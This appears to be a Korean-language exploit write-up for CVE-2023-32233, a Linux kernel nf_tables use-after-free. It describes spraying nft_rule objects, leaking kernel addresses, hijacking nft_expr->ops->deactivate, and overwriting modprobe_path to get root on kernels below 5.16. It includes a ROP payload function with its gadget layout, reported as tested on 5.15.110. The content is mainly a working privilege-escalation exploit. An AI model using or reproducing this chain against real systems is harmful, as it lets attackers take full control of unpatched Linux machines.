
CVE-2023-32233을 이용한 리눅스 커널 권한 상승 익스플로잇: nft_quota UAF, ROP 체인, modprobe_path 덮어쓰기를 사용하여 커널 버전 <5.16에서 루트 권한 획득
낮은 버전(<5.16) 커널에는 패치가 없어서 nft_quota 구조체의 consumed 필드를 사용하여 읽기/쓰기 메모리 주소를 활용할 수 없습니다. 따라서 ROP 방법을 통해 권한 상승을 고려했습니다. Google의 exp에서는 NFT_MSG_DELRULE+NFT_MSG_DELSET 방법을 사용하여 uaf를 트리거했지만, 실제 테스트에서 해당 스크립트는 nf_table_commit->list_del_rcu에서 직접 크래시됩니다.
본 exp는 v5.15.110 버전에서 테스트 완료
두 exp를 결합하여 nft_rule 구조체를 스프레이하고, list_head를 통해 커널 스택 주소를 유출하며, nft_expr->ops를 통해 커널 주소를 유출하고, nft_expr->ops->deactivate를 통해 제어 흐름을 하이재킹합니다.
struct nft_rule {
struct list_head list;
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
struct nft_rule *rule,
enum nft_trans_phase phase)
{
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {
if (expr->ops->deactivate)
expr->ops->deactivate(ctx, expr, phase); // [7]
expr = nft_expr_next(expr);
}
}
권한 상승 편의를 위해 exp1의 modprobe_path 기반 방법을 그대로 사용하며, 다음과 같이 ROP를 구성합니다.
// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
data[0] = kbase + POP_5REG_RET; // skip metadata
data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
// /tmp/mod - sbin/mod
// 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
data[6] = kbase + POP_RAX_RET;
data[7] = kbase + cfg_modprobe_path+1; // [rax]
data[8] = kbase + POP_RDI_RET;
data[9] = 0x20411bc; // rdi
data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}
먼저 커널이 data[5]에 도달하면 rax에는 블록 시작 주소(&data[0])가 저장됩니다. push rax; pop rsp; ret;를 사용하여 스택을 이동시키면 스택이 손상되는 것은 불가피합니다(이후 사용자 공간으로 정상적으로 복귀할 수 없음). 사용자 공간으로 권한 상승이 필요하면 더 큰 블록(>0x80)을 구성하고 exp의 make_payload_rop2를 참조하여 swapgs_restore_regs_and_return_to_usermode를 사용해 kpti를 우회하고 사용자 공간으로 복귀할 수 있습니다).
위조된 nft_rule에는 0x18바이트의 메타데이터(주로 0x10 오프셋의 8바이트)가 있으므로 pop을 사용하여 이 주소들을 건너뛰어야 합니다. 이후에는 자유롭게 구성할 수 있으며, 몇 개의 짧은 gadgets를 사용하여 modprobe_path를 수정하면 됩니다.